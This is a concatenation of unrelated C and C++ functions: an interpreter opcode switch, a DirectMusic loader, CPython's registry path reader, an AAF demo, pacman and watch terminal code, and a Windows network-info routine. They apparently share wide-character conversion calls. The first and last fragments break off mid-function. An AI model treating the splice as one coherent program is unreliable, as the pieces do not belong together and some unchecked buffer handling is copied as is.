si_get_object(node1); // Check if it's already a boolean. If not, cast this object to boolean if (! OBJECT_IS_BOOLEAN(obj1)) { obj2 = object_find_method(obj1, "boolean"); obj1 = object_call(obj1, obj2, 0); } if (obj1 == Object_True) { // Execute if-block node2 = SI1(p); } else if (OP_CNT(p) > 2) { // Execute (optional) else-block node2 = SI2(p); } break; case T_ARGUMENT_LIST: dll = dll_init(); for (int i=0; i!=OP_CNT(p); i++) { node1 = _interpreter(p->opr.ops[i]); obj1 = si_get_object(node1); dll_append(dll, obj1); } RETURN_SNODE_DLL(dll); case T_METHOD_CALL : // Get object node1 = SI0(p); obj1 = IS_NULL(node1) ? NULL : si_get_object(node1); if (obj1 != NULL) { hte = p->opr.ops[1]; obj2 = object_find_method(obj1, hte->identifier.name); if (! obj2) { saffire_error("Cannot find method or property named '%s' in '%s'", hte->identifier.name, obj1->name); } } else { // Get object node2 = SI1(p); obj2 = si_get_object(node2); } // Get arguments (or NULL) t_dll *dll = NULL; node2 = SI2(p); if (IS_DLL(node2)) { dll = node2->data.dll; } else if (IS_NULL(node2)) { dll = NULL; } else { saffire_error("Expected a DLL (or null)"); } // assume nothing found obj3 = Object_Null; if (OBJECT_IS_METHOD(obj2)) { /* * Lots of method checks before we can actually call this */ t_method_object *method = (t_method_object *)obj2; if (METHOD_IS_CONSTRUCTOR(method)) { saffire_error("Cannot call constructor"); } if (METHOD_IS_DESTRUCTOR(method)) { saffire_error("Cannot call destructor"); } if (OBJECT_TYPE_IS_ABSTRACT(obj1)) { saffire_error("Cannot call an abstract class"); } if (OBJECT_TYPE_IS_INTERFACE(obj1)) { saffire_error("Cannot call an interface"); } if (OBJECT_TYPE_IS_INSTANCE(obj1) && METHOD_IS_STATIC(method)) { saffire_error("Cannot call a static method from an instance. Hint: use %s.%s()", obj1->name, obj2->name); } if (OBJECT_TYPE_IS_CLASS(obj1) && ! METHOD_IS_STATIC(method)) { saffire_error("Cannot call a non-static method directly from a class. Hint: instantiate first"); } // Set new scope enter_scope(p); // We need to do a method call DEBUG_PRINT("+++ Calling method %s \n", obj2->name); obj3 = object_call_args(obj1, obj2, dll); leave_scope(); } else if (OBJECT_TYPE_IS_CLASS(obj2)) { // We need to instantiate DEBUG_PRINT("+++ Instantiating a new class for %s\n", obj2->name); enter_scope(p); obj3 = object_new(obj2, dll); if (! obj3) { saffire_error("Cannot instantiate class %s", obj2->name); } leave_scope(); } else { saffire_error("Cannot call or instantiate %s", obj2->name); } // } else { // // // get class or method name // hte = p->opr.ops[1]; // if (hte->type != typeAstIdentifier) { // saffire_error("Can only have identifiers here", hte->identifier.name); // } // // method_name = smm_strdup(hte->identifier.name); // } // // // At this point we need to fetch the objec, // // // //// if (hte->type == typeAstNull && (obj->flags & OBJECT_TYPE_CLASS) == OBJECT_TYPE_CLASS) { // // if (instantiation) { // // Instantiating // DEBUG_PRINT("+++ Instantiating a new class for %s\n", obj1->name); // // if (! OBJECT_TYPE_IS_CLASS(obj1)) { // saffire_error("Can only instantiate classes"); // } // // obj2 = object_new(obj1, dll); // if (! obj2) { // saffire_error("Cannot instantiate class %s", obj1->name); // } // // } else { // // if (hte->type != typeAstIdentifier) { // saffire_error("Can only have identifiers here", hte->identifier.name); // } // method_name = smm_strdup(hte->identifier.name); // // obj2 = object_call_args(obj1, method_name, dll); // // smm_free(method_name); // } if (dll) dll_free(dll); RETURN_SNODE_OBJECT(obj3); break; /* Comparisons */ case '<' : return si_comparison(p, COMPARISON_LT); break; case '>' : return si_comparison(p, COMPARISON_GT); break; case T_GE : return si_comparison(p, COMPARISON_GE); break; case T_LE : return si_comparison(p, COMPARISON_LE); break; case T_NE : return si_comparison(p, COMPARISON_NE); break; case T_EQ : return si_comparison(p, COMPARISON_EQ); break; /* Operators */ case '+' : return si_operator(p, OPERATOR_ADD); break; case '-' : return si_operator(p, OPERATOR_SUB); break; case '*' : return si_operator(p, OPERATOR_MUL); break; case '/' : return si_operator(p, OPERATOR_DIV); break; case T_AND : return si_operator(p, OPERATOR_AND); break; case T_OR : return si_operator(p, OPERATOR_OR); break; case '^' : return si_operator(p, OPERATOR_XOR); break; case T_SHIFT_LEFT : return si_operator(p, OPERATOR_SHL); break; case T_SHIFT_RIGHT : return si_operator(p, OPERATOR_SHR); break; /* Unary operators */ case T_OP_INC : // We must be a variable node1 = SI0(p); if (! HAS_IDENTIFIER_ID(node1)) { saffire_error("Left hand side is not writable!"); } obj1 = si_get_object(node1); obj2 = object_new(Object_Numerical, 1); obj3 = object_operator(obj1, OPERATOR_ADD, 0, 1, obj2); si_set_object(node1, obj3); RETURN_SNODE_OBJECT(obj3); break; case T_OP_DEC : // We must be a variable node1 = SI0(p); if (! HAS_IDENTIFIER_ID(node1)) { saffire_error("Left hand side is not writable!"); } obj1 = si_get_object(node1); obj2 = object_new(Object_Numerical, 1); obj3 = object_operator(obj1, OPERATOR_SUB, 0, 1, obj2); si_set_object(node1, obj3); RETURN_SNODE_OBJECT(obj3); break; case '.' : node1 = SI0(p); obj1 = si_get_object(node1); // get method name from object hte = p->opr.ops[1]; if (hte->type != typeAstIdentifier) { saffire_error("Can only have identifiers here", hte->identifier.name); } DEBUG_PRINT("Figuring out: '%s' in object '%s'\n", hte->identifier.name, obj1->name); obj = ht_find(obj1->properties, hte->identifier.name); if (obj == NULL) { obj = ht_find(obj1->constants, hte->identifier.name); if (obj == NULL) { saffire_error("Cannot find constant or property '%s' from '%s'", hte->identifier.name, obj1->name); } } RETURN_SNODE_OBJECT(obj); break; case T_CONST : if (current_obj == NULL) { // @TODO: We could create constants OUTSIDE a class! saffire_error("Defining constants outside classes is not yet supported!"); } hte = p->opr.ops[0]; if (hte->type != typeAstIdentifier) { saffire_error("Constant name needs to be an identifier"); } node2 = SI1(p); obj2 = si_get_object(node2); DEBUG_PRINT("Added constant %s to %s\n", hte->identifier.name, current_obj->name); ht_add(current_obj->constants, hte->identifier.name, obj2); break; case T_PROPERTY : if (current_obj == NULL) { saffire_error("Cannot define properties outside classes. This should be caught by the parser!"); } hte = p->opr.ops[0]; if (hte->type != typeAstNumerical) { saffire_error("Flags name needs to be numerical"); } hte = p->opr.ops[1]; if (hte->type != typeAstIdentifier) { saffire_error("Property name needs to be an identifier"); } node2 = SI2(p); obj2 = si_get_object(node2); DEBUG_PRINT("Added property %s to %s\n", hte->identifier.name, current_obj->name); ht_add(current_obj->properties, hte->identifier.name, obj2); break; default: saffire_error("Unhandled opcode: %d\n", p->opr.oper); break; } break; } RETURN_SNODE_NULL(); }
as_Sound::as_Sound(char *fileName) { long rc = 0; long len = 0; HRESULT hr; WCHAR wChar[MAX_PATH]; if (NULL == fileName) return; pSegment = NULL; pState = NULL; pDS3DBuffer = NULL; pAudioPath = NULL; memset(&dmod, 0, sizeof(DMUS_OBJECTDESC)); gain = 1.0f; Direction[0] = 0.0f; Direction[1] = 0.0f; Direction[2] = 0.0f; Position[0] = 0.0f; Position[1] = 0.0f; Position[2] = 0.0f; // Create a 3D audiopath with a 3d buffer. // We can then play all segments into this buffer and directly control its 3D parameters. hr = g_pPerformance->CreateStandardAudioPath( DMUS_APATH_DYNAMIC_3D, 1, TRUE, &(this->pAudioPath)); if (FAILED(hr)) { char msg[MSG_LEN]; sprintf(msg, "Could not create standard audio path, error 0x%08lX", hr); AddLogMsg(msg); return; } // Get the 3D buffer in the audio path. hr = this->pAudioPath->GetObjectInPath( 0, DMUS_PATH_BUFFER, 0, GUID_NULL, 0, IID_IDirectSound3DBuffer, (LPVOID *)&this->pDS3DBuffer); if (FAILED(hr)) { AddLogMsg("Error: GetObjectInPath"); return; } this->pAudioPath->SetVolume(0, 0); dmod.dwSize = sizeof(DMUS_OBJECTDESC); dmod.dwValidData = DMUS_OBJ_CLASS | DMUS_OBJ_FILENAME | DMUS_OBJ_FULLPATH; dmod.guidClass = CLSID_DirectMusicSegment; len = strlen(fileName); rc = mbstowcs(wChar, fileName, len + 1); wcscpy(dmod.wszFileName, wChar); hr = g_Loader->GetObject(&dmod, IID_IDirectMusicSegment8, (void **)&pSegment); if (FAILED(hr)) { AddLogMsg("Could not get object: IID_IDirectMusicSegment8"); return; } hr = pSegment->Download(g_pPerformance); if (FAILED(hr)) { AddLogMsg("Could not download segment"); return; } this->status = STATUS_INITIAL; }
/* Load a PYTHONPATH value from the registry. Load from either HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER. Works in both Unicode and 8bit environments. Only uses the Ex family of functions so it also works with Windows CE. Returns NULL, or a pointer that should be freed. XXX - this code is pretty strange, as it used to also work on Win16, where the buffer sizes werent available in advance. It could be simplied now Win16/Win32s is dead! */ static wchar_t * getpythonregpath(HKEY keyBase, int skipcore) { HKEY newKey = 0; DWORD dataSize = 0; DWORD numKeys = 0; LONG rc; wchar_t *retval = NULL; WCHAR *dataBuf = NULL; static const WCHAR keyPrefix[] = L"Software\\Python\\PythonCore\\"; static const WCHAR keySuffix[] = L"\\PythonPath"; size_t versionLen, keyBufLen; DWORD index; WCHAR *keyBuf = NULL; WCHAR *keyBufPtr; WCHAR **ppPaths = NULL; /* Tried to use sysget("winver") but here is too early :-( */ versionLen = strlen(PyWin_DLLVersionString); /* Space for all the chars, plus one \0 */ keyBufLen = sizeof(keyPrefix) + sizeof(WCHAR)*(versionLen-1) + sizeof(keySuffix); keyBuf = keyBufPtr = PyMem_RawMalloc(keyBufLen); if (keyBuf==NULL) { goto done; } memcpy_s(keyBufPtr, keyBufLen, keyPrefix, sizeof(keyPrefix)-sizeof(WCHAR)); keyBufPtr += Py_ARRAY_LENGTH(keyPrefix) - 1; mbstowcs(keyBufPtr, PyWin_DLLVersionString, versionLen); keyBufPtr += versionLen; /* NULL comes with this one! */ memcpy(keyBufPtr, keySuffix, sizeof(keySuffix)); /* Open the root Python key */ rc=RegOpenKeyExW(keyBase, keyBuf, /* subkey */ 0, /* reserved */ KEY_READ, &newKey); if (rc!=ERROR_SUCCESS) { goto done; } /* Find out how big our core buffer is, and how many subkeys we have */ rc = RegQueryInfoKey(newKey, NULL, NULL, NULL, &numKeys, NULL, NULL, NULL, NULL, &dataSize, NULL, NULL); if (rc!=ERROR_SUCCESS) { goto done; } if (skipcore) { dataSize = 0; /* Only count core ones if we want them! */ } /* Allocate a temp array of char buffers, so we only need to loop reading the registry once */ ppPaths = PyMem_RawMalloc( sizeof(WCHAR *) * numKeys ); if (ppPaths==NULL) { goto done; } memset(ppPaths, 0, sizeof(WCHAR *) * numKeys); /* Loop over all subkeys, allocating a temp sub-buffer. */ for(index=0;index<numKeys;index++) { WCHAR keyBuf[MAX_PATH+1]; HKEY subKey = 0; DWORD reqdSize = MAX_PATH+1; /* Get the sub-key name */ DWORD rc = RegEnumKeyExW(newKey, index, keyBuf, &reqdSize, NULL, NULL, NULL, NULL ); if (rc!=ERROR_SUCCESS) { goto done; } /* Open the sub-key */ rc=RegOpenKeyExW(newKey, keyBuf, /* subkey */ 0, /* reserved */ KEY_READ, &subKey); if (rc!=ERROR_SUCCESS) { goto done; } /* Find the value of the buffer size, malloc, then read it */ RegQueryValueExW(subKey, NULL, 0, NULL, NULL, &reqdSize); if (reqdSize) { ppPaths[index] = PyMem_RawMalloc(reqdSize); if (ppPaths[index]) { RegQueryValueExW(subKey, NULL, 0, NULL, (LPBYTE)ppPaths[index], &reqdSize); dataSize += reqdSize + 1; /* 1 for the ";" */ } } RegCloseKey(subKey); } /* return null if no path to return */ if (dataSize == 0) { goto done; } /* original datasize from RegQueryInfo doesn't include the \0 */ dataBuf = PyMem_RawMalloc((dataSize+1) * sizeof(WCHAR)); if (dataBuf) { WCHAR *szCur = dataBuf; /* Copy our collected strings */ for (index=0;index<numKeys;index++) { if (index > 0) { *(szCur++) = L';'; dataSize--; } if (ppPaths[index]) { Py_ssize_t len = wcslen(ppPaths[index]); wcsncpy(szCur, ppPaths[index], len); szCur += len; assert(dataSize > (DWORD)len); dataSize -= (DWORD)len; } } if (skipcore) { *szCur = '\0'; } else { /* If we have no values, we don't need a ';' */ if (numKeys) { *(szCur++) = L';'; dataSize--; } /* Now append the core path entries - this will include the NULL */ rc = RegQueryValueExW(newKey, NULL, 0, NULL, (LPBYTE)szCur, &dataSize); if (rc != ERROR_SUCCESS) { PyMem_RawFree(dataBuf); goto done; } } /* And set the result - caller must free */ retval = dataBuf; } done: /* Loop freeing my temp buffers */ if (ppPaths) { for(index=0; index<numKeys; index++) PyMem_RawFree(ppPaths[index]); PyMem_RawFree(ppPaths); } if (newKey) { RegCloseKey(newKey); } PyMem_RawFree(keyBuf); return retval; }
// Main adapted to use command-line arguments with argument checking // NOTE: defining [0] program name; [1] Number N of components; // [2] filename.aaf; int main(int argumentCount, char *argumentVector[]) { // First check for correct number of arguments // printf("%ld\n",argumentCount); if ((argumentCount < 2) || (argumentCount > 3)) { usage(); return 0; } // Processing the second argument to be stored as global variable N char* Ns = argumentVector[1]; char* expectedEnd = &Ns[strlen(Ns)]; char* end = 0; long int N = strtoul(Ns, &end, 10); // Testing for correct second argument if ((end != expectedEnd) || (N < 1)) { printf("The first argument was of the incorrect form. [%s]\n", argumentVector[1]); usage(); return 0; } // With no second argument, set output filename to CreateSequence<N>.aaf if (argumentCount == 2) { strncpy(niceFileName, Ns, FILENAME_MAX); } else { // Otherwise output to filename specified in the second argument // NB this case must have argC ==3 from earlier check strncpy(niceFileName, argumentVector[2], FILENAME_MAX); } if (strstr(niceFileName, ".aaf") == 0) strcat (niceFileName, ".aaf"); // and then carry on... // Load the AAF library explicity to catch the common error // that the AAF DLL is not in the user's path, otherwise this // error looks like an error opening the file. // HRESULT hr = AAFLoad(0); if (!AAFRESULT_SUCCEEDED(hr)) { fprintf(stderr, "Error : Failed to load the AAF library, "); fprintf(stderr, "check environment variables -\n"); fprintf(stderr, " Windows - $PATH\n"); fprintf(stderr, " Unix/Linux - $LD_LIBRARY_PATH\n"); exit(hr); } aafWChar FileNameBuffer[MAX]; mbstowcs(FileNameBuffer, niceFileName, MAX); aafWChar * pwFileName = FileNameBuffer; // Give a nice output here too... printf("Creating file %s with %ld components.\n", niceFileName, N); checkFatal(CreateAAFFile(pwFileName, N)); // Open the file and gather statistics ReadAAFFile(pwFileName); return(0); }
/* callback to handle display of transaction progress */ void cb_progress(alpm_progress_t event, const char *pkgname, int percent, size_t howmany, size_t current) { static int prevpercent; static size_t prevcurrent; /* size of line to allocate for text printing (e.g. not progressbar) */ int infolen; int digits, textlen; size_t tmp; char *opr = NULL; /* used for wide character width determination and printing */ int len, wclen, wcwid, padwid; wchar_t *wcstr; const unsigned short cols = getcols(); if(config->noprogressbar || cols == 0) { return; } if(percent == 0) { get_update_timediff(1); } else if(percent == 100) { /* no need for timediff update, but unconditionally continue unless we * already completed on a previous call */ if(prevpercent == 100) { return; } } else { if(current != prevcurrent) { /* update always */ } else if(!pkgname || percent == prevpercent || get_update_timediff(0) < UPDATE_SPEED_MS) { /* only update the progress bar when we have a package name, the * percentage has changed, and it has been long enough. */ return; } } prevpercent = percent; prevcurrent = current; /* set text of message to display */ switch(event) { case ALPM_PROGRESS_ADD_START: opr = _("installing"); break; case ALPM_PROGRESS_UPGRADE_START: opr = _("upgrading"); break; case ALPM_PROGRESS_DOWNGRADE_START: opr = _("downgrading"); break; case ALPM_PROGRESS_REINSTALL_START: opr = _("reinstalling"); break; case ALPM_PROGRESS_REMOVE_START: opr = _("removing"); break; case ALPM_PROGRESS_CONFLICTS_START: opr = _("checking for file conflicts"); break; case ALPM_PROGRESS_DISKSPACE_START: opr = _("checking available disk space"); break; case ALPM_PROGRESS_INTEGRITY_START: opr = _("checking package integrity"); break; case ALPM_PROGRESS_KEYRING_START: opr = _("checking keys in keyring"); break; case ALPM_PROGRESS_LOAD_START: opr = _("loading package files"); break; default: return; } infolen = cols * 6 / 10; if(infolen < 50) { infolen = 50; } /* find # of digits in package counts to scale output */ digits = 1; tmp = howmany; while((tmp /= 10)) { ++digits; } /* determine room left for non-digits text [not ( 1/12) part] */ textlen = infolen - 3 /* (/) */ - (2 * digits) - 1 /* space */; /* In order to deal with characters from all locales, we have to worry * about wide characters and their column widths. A lot of stuff is * done here to figure out the actual number of screen columns used * by the output, and then pad it accordingly so we fill the terminal. */ /* len = opr len + pkgname len (if available) + space + null */ len = strlen(opr) + ((pkgname) ? strlen(pkgname) : 0) + 2; wcstr = calloc(len, sizeof(wchar_t)); /* print our strings to the alloc'ed memory */ #if defined(HAVE_SWPRINTF) wclen = swprintf(wcstr, len, L"%s %s", opr, pkgname); #else /* because the format string was simple, we can easily do this without * using swprintf, although it is probably not as safe/fast. The max * chars we can copy is decremented each time by subtracting the length * of the already printed/copied wide char string. */ wclen = mbstowcs(wcstr, opr, len); wclen += mbstowcs(wcstr + wclen, " ", len - wclen); wclen += mbstowcs(wcstr + wclen, pkgname, len - wclen); #endif wcwid = wcswidth(wcstr, wclen); padwid = textlen - wcwid; /* if padwid is < 0, we need to trim the string so padwid = 0 */ if(padwid < 0) { int i = textlen - 3; wchar_t *p = wcstr; /* grab the max number of char columns we can fill */ while(i > 0 && wcwidth(*p) < i) { i -= wcwidth(*p); p++; } /* then add the ellipsis and fill out any extra padding */ wcscpy(p, L"..."); padwid = i; } printf("(%*ld/%*ld) %ls%-*s", digits, (unsigned long)current, digits, (unsigned long)howmany, wcstr, padwid, ""); free(wcstr); /* call refactored fill progress function */ fill_progress(percent, percent, cols - infolen); if(percent == 100) { alpm_list_t *i = NULL; on_progress = 0; fflush(stdout); for(i = output; i; i = i->next) { fputs((const char *)i->data, stderr); } fflush(stderr); FREELIST(output); } else { on_progress = 1; } }
// // Get Default Information (IP, GateWay, DNS, DHCP, etc..) void GetWlanDefaultInformation(PBBS_ADAPTER_INFO pInformation) { PIP_ADAPTER_INFO pAdapterInfo = NULL; PFIXED_INFO pNetworkParams = NULL; ULONG ulSizeAdapterInfo = 0; DWORD dwReturnvalueGetAdapterInfo = 0; TCHAR tszAdapterNameTemp[MAX_ADAPTER_NAME_LENGTH + 4] = {'\0',}; ULONG uSizeNetworkParams = 0; DWORD dwReturnvalueGetNetworkParams; BOOL bFindWirelessAdapter = FALSE; pInformation->tszAdapterName[0] = L'\0'; memset( pInformation, 0x0, sizeof(BBS_ADAPTER_INFO) ); // -----------------------GetAdaptersInfo----------------------------------------- dwReturnvalueGetAdapterInfo = GetAdaptersInfo( pAdapterInfo, &ulSizeAdapterInfo ); if ( dwReturnvalueGetAdapterInfo == ERROR_BUFFER_OVERFLOW) { if (!(pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulSizeAdapterInfo))) { return; } dwReturnvalueGetAdapterInfo = GetAdaptersInfo( pAdapterInfo, &ulSizeAdapterInfo); if (dwReturnvalueGetAdapterInfo != ERROR_SUCCESS) { free(pAdapterInfo); return; } while (pAdapterInfo != NULL) { mbstowcs( tszAdapterNameTemp, pAdapterInfo->AdapterName, MAX_ADAPTER_NAME_LENGTH + 4 ); // Wireless 아답터 인지 확인 // Nids의 OID_GEN_PHYSICAL_MEDIUM 로 NdisPhysicalMediumWirelessLan 임을 확인하는 방법이 있으나, 아답터 전원Off 상태에서는 조회 되지 않음 // Summit 모듈도 확인하기 위해서, Wzctool은 사용하지 않음 for(int i=0; i< sizeof(ManageableAdapters) / sizeof(ManageableAdapters[0]); i++) { if( _tcscmp(tszAdapterNameTemp, ManageableAdapters[i]) == 0 ) { bFindWirelessAdapter = TRUE; } } if( bFindWirelessAdapter ) { // Adapter Name _tcscpy(pInformation->tszAdapterName, tszAdapterNameTemp); // IPAddr mbstowcs( pInformation->tszIPAddr, pAdapterInfo->IpAddressList.IpAddress.String, sizeof(pAdapterInfo->IpAddressList.IpAddress.String) ); // Subnet Mask mbstowcs( pInformation->tszSubNetMask, pAdapterInfo->IpAddressList.IpMask.String, sizeof(pAdapterInfo->IpAddressList.IpMask.String) ); // Default GateWay mbstowcs( pInformation->tszDefaultGateWay, pAdapterInfo->GatewayList.IpAddress.String, sizeof(pAdapterInfo->GatewayList.IpAddress.String) ); // Mac Address _stprintf( pInformation->tszMacAddr, _T("%02X:%02X:%02X:%02X:%02X:%02X"), pAdapterInfo->Address[0],pAdapterInfo->Address[1],pAdapterInfo->Address[2],pAdapterInfo->Address[3],pAdapterInfo->Address[4],pAdapterInfo->Address[5] ); // DHCP Enabled pInformation->bDHCPEnabled = (BOOL)pAdapterInfo->DhcpEnabled; break; } pAdapterInfo = pAdapterInfo->Next; } } if(pAdapterInfo) { free(pAdapterInfo); } // ---------------------GetNetwork Params -------------------------- dwReturnvalueGetNetworkParams = GetNetworkParams(pNetworkParams , &uSizeNetworkParams); if (dwReturnvalueGetNetworkParams == ERROR_BUFFER_OVERFLOW) { if (!(pNetworkParams = (PFIXED_INFO) malloc(uSizeNetworkParams))) { return; } dwReturnvalueGetNetworkParams = GetNetworkParams(pNetworkParams, &uSizeNetworkParams); if (dwReturnvalueGetNetworkParams != ERROR_SUCCESS) { free(pNetworkParams); return; } } // Dns Server mbstowcs( pInformation->tszDnsAddr, pNetworkParams->DnsServerList.IpAddress.String, sizeof(pNetworkParams->DnsServerList.IpAddress.String) ); if(pNetworkParams) { free(pNetworkParams); } return; }
/* callback to handle display of download progress */ void cb_dl_progress(const char *filename, off_t file_xfered, off_t file_total) { static double rate_last; static off_t xfered_last; static int64_t initial_time = 0; int infolen; int filenamelen; char *fname, *p; /* used for wide character width determination and printing */ int len, wclen, wcwid, padwid; wchar_t *wcfname; int totaldownload = 0; off_t xfered, total; double rate = 0.0; unsigned int eta_h = 0, eta_m = 0, eta_s = 0; double rate_human, xfered_human; const char *rate_label, *xfered_label; int file_percent = 0, total_percent = 0; const unsigned short cols = getcols(); if(config->noprogressbar || cols == 0 || file_total == -1) { if(file_xfered == 0) { printf(_("downloading %s...\n"), filename); fflush(stdout); } return; } infolen = cols * 6 / 10; if(infolen < 50) { infolen = 50; } /* only use TotalDownload if enabled and we have a callback value */ if(config->totaldownload && list_total) { /* sanity check */ if(list_xfered + file_total <= list_total) { totaldownload = 1; } else { /* bogus values : don't enable totaldownload and reset */ list_xfered = 0; list_total = 0; } } if(totaldownload) { xfered = list_xfered + file_xfered; total = list_total; } else { xfered = file_xfered; total = file_total; } /* bogus values : stop here */ if(xfered > total || xfered < 0) { return; } /* this is basically a switch on xfered: 0, total, and * anything else */ if(file_xfered == 0) { /* set default starting values, ensure we only call this once * if TotalDownload is enabled */ if(!totaldownload || (totaldownload && list_xfered == 0)) { initial_time = get_time_ms(); xfered_last = (off_t)0; rate_last = 0.0; get_update_timediff(1); } } else if(file_xfered == file_total) { /* compute final values */ int64_t timediff = get_time_ms() - initial_time; if(timediff > 0) { rate = (double)xfered / (timediff / 1000.0); /* round elapsed time (in ms) to the nearest second */ eta_s = (unsigned int)(timediff + 500) / 1000; } else { eta_s = 0; } } else { /* compute current average values */ int64_t timediff = get_update_timediff(0); if(timediff < UPDATE_SPEED_MS) { /* return if the calling interval was too short */ return; } rate = (double)(xfered - xfered_last) / (timediff / 1000.0); /* average rate to reduce jumpiness */ rate = (rate + 2 * rate_last) / 3; if(rate > 0.0) { eta_s = (total - xfered) / rate; } else { eta_s = UINT_MAX; } rate_last = rate; xfered_last = xfered; } if(file_total) { file_percent = (file_xfered * 100) / file_total; } else { file_percent = 100; } if(totaldownload) { total_percent = ((list_xfered + file_xfered) * 100) / list_total; /* if we are at the end, add the completed file to list_xfered */ if(file_xfered == file_total) { list_xfered += file_total; } } /* fix up time for display */ eta_h = eta_s / 3600; eta_s -= eta_h * 3600; eta_m = eta_s / 60; eta_s -= eta_m * 60; len = strlen(filename); fname = malloc(len + 1); memcpy(fname, filename, len); /* strip package or DB extension for cleaner look */ if((p = strstr(fname, ".pkg")) || (p = strstr(fname, ".db"))) { /* tack on a .sig suffix for signatures */ if(memcmp(&filename[len - 4], ".sig", 4) == 0) { memcpy(p, ".sig", 4); /* adjust length for later calculations */ len = p - fname + 4; } else { len = p - fname; } } fname[len] = '\0'; /* 1 space + filenamelen + 1 space + 6 for size + 1 space + 3 for label + * + 2 spaces + 4 for rate + 1 for label + 2 for /s + 1 space + * 8 for eta, gives us the magic 30 */ filenamelen = infolen - 30; /* see printf() code, we omit 'HH:' in these conditions */ if(eta_h == 0 || eta_h >= 100) { filenamelen += 3; } /* In order to deal with characters from all locales, we have to worry * about wide characters and their column widths. A lot of stuff is * done here to figure out the actual number of screen columns used * by the output, and then pad it accordingly so we fill the terminal. */ /* len = filename len + null */ wcfname = calloc(len + 1, sizeof(wchar_t)); wclen = mbstowcs(wcfname, fname, len); wcwid = wcswidth(wcfname, wclen); padwid = filenamelen - wcwid; /* if padwid is < 0, we need to trim the string so padwid = 0 */ if(padwid < 0) { int i = filenamelen - 3; wchar_t *wcp = wcfname; /* grab the max number of char columns we can fill */ while(i > 0 && wcwidth(*wcp) < i) { i -= wcwidth(*wcp); wcp++; } /* then add the ellipsis and fill out any extra padding */ wcscpy(wcp, L"..."); padwid = i; } rate_human = humanize_size((off_t)rate, '\0', -1, &rate_label); xfered_human = humanize_size(xfered, '\0', -1, &xfered_label); printf(" %ls%-*s ", wcfname, padwid, ""); /* We will show 1.62M/s, 11.6M/s, but 116K/s and 1116K/s */ if(rate_human < 9.995) { printf("%6.1f %3s %4.2f%c/s ", xfered_human, xfered_label, rate_human, rate_label[0]); } else if(rate_human < 99.95) { printf("%6.1f %3s %4.1f%c/s ", xfered_human, xfered_label, rate_human, rate_label[0]); } else { printf("%6.1f %3s %4.f%c/s ", xfered_human, xfered_label, rate_human, rate_label[0]); } if(eta_h == 0) { printf("%02u:%02u", eta_m, eta_s); } else if(eta_h < 100) { printf("%02u:%02u:%02u", eta_h, eta_m, eta_s); } else { fputs("--:--", stdout); } free(fname); free(wcfname); if(totaldownload) { fill_progress(file_percent, total_percent, cols - infolen); } else { fill_progress(file_percent, file_percent, cols - infolen); } return; }
int main(int argc, char *argv[]) { int optc; int option_differences = 0, option_differences_cumulative = 0, option_exec = 0, option_beep = 0, option_color = 0, option_errexit = 0, option_help = 0, option_version = 0; double interval = 2; char *command; wchar_t *wcommand = NULL; char **command_argv; int command_length = 0; /* not including final \0 */ int wcommand_columns = 0; /* not including final \0 */ int wcommand_characters = 0; /* not including final \0 */ watch_usec_t next_loop; /* next loop time in us, used for precise time keeping only */ int pipefd[2]; int status; pid_t child; setlocale(LC_ALL, ""); progname = argv[0]; while ((optc = getopt_long(argc, argv, "+bced::hn:pvtx", longopts, (int *) 0)) != EOF) { switch (optc) { case 'b': option_beep = 1; break; case 'c': option_color = 1; break; case 'd': option_differences = 1; if (optarg) option_differences_cumulative = 1; break; case 'e': option_errexit = 1; break; case 'h': option_help = 1; break; case 't': show_title = 0; break; case 'x': option_exec = 1; break; case 'n': { char *str; interval = strtod(optarg, &str); if (!*optarg || *str) do_usage(); if(interval < 0.1) interval = 0.1; if(interval > ~0u/1000000) interval = ~0u/1000000; } break; case 'p': precise_timekeeping = 1; break; case 'v': option_version = 1; break; default: do_usage(); break; } } if (option_version) { fprintf(stderr, "%s\n", VERSION); if (!option_help) exit(0); } if (option_help) { fprintf(stderr, usage, progname); fputs(" -b, --beep\t\t\t\tbeep if the command has a non-zero exit\n", stderr); fputs(" -d, --differences[=cumulative]\thighlight changes between updates\n", stderr); fputs("\t\t(cumulative means highlighting is cumulative)\n", stderr); fputs(" -e, --errexit\t\t\t\texit watch if the command has a non-zero exit\n", stderr); fputs(" -h, --help\t\t\t\tprint a summary of the options\n", stderr); fputs(" -n, --interval=<seconds>\t\tseconds to wait between updates\n", stderr); fputs(" -p, --precise\t\t\t\tprecise timing, ignore command run time\n", stderr); fputs(" -v, --version\t\t\t\tprint the version number\n", stderr); fputs(" -t, --no-title\t\t\tturns off showing the header\n", stderr); fputs(" -x, --exec\t\t\t\tpass command to exec instead of sh\n", stderr); exit(0); } if (optind >= argc) do_usage(); command_argv=&(argv[optind]); /* save for later */ command = strdup(argv[optind++]); command_length = strlen(command); for (; optind < argc; optind++) { char *endp; int s = strlen(argv[optind]); command = realloc(command, command_length + s + 2); /* space and \0 */ endp = command + command_length; *endp = ' '; memcpy(endp + 1, argv[optind], s); command_length += 1 + s; /* space then string length */ command[command_length] = '\0'; } // convert to wide for printing purposes //mbstowcs(NULL, NULL, 0); wcommand_characters = mbstowcs(NULL, command, 0); if(wcommand_characters < 0) { fprintf(stderr, "Unicode Handling Error\n"); exit(1); } wcommand = (wchar_t*)malloc((wcommand_characters+1) * sizeof(wcommand)); if(wcommand == NULL) { fprintf(stderr, "Unicode Handling Error (malloc)\n"); exit(1); } mbstowcs(wcommand, command, wcommand_characters+1); wcommand_columns = wcswidth(wcommand, -1); get_terminal_size(); /* Catch keyboard interrupts so we can put tty back in a sane state. */ signal(SIGINT, die); signal(SIGTERM, die); signal(SIGHUP, die); signal(SIGWINCH, winch_handler); /* Set up tty for curses use. */ curses_started = 1; initscr(); if (option_color) { if (has_colors()) { start_color(); use_default_colors(); init_ansi_colors(); } else option_color = 0; } nonl(); noecho(); cbreak(); if (precise_timekeeping) next_loop = get_time_usec(); for (;;) { time_t t = time(NULL); char *ts = ctime(&t); int tsl = strlen(ts); char *header; FILE *p; int x, y; int oldeolseen = 1; if (screen_size_changed) { get_terminal_size(); resizeterm(height, width); clear(); /* redrawwin(stdscr); */ screen_size_changed = 0; first_screen = 1; } if (show_title) { // left justify interval and command, // right justify time, clipping all to fit window width int hlen = asprintf(&header, "Every %.1fs: ", interval); // the rules: // width < tsl : print nothing // width < tsl + hlen + 1: print ts // width = tsl + hlen + 1: print header, ts // width < tsl + hlen + 4: print header, ..., ts // width < tsl + hlen + wcommand_columns: print header, truncated wcommand, ..., ts // width > "": print header, wcomand, ts // this is slightly different from how it used to be if(width >= tsl) { if(width >= tsl + hlen + 1) { mvaddstr(0, 0, header); 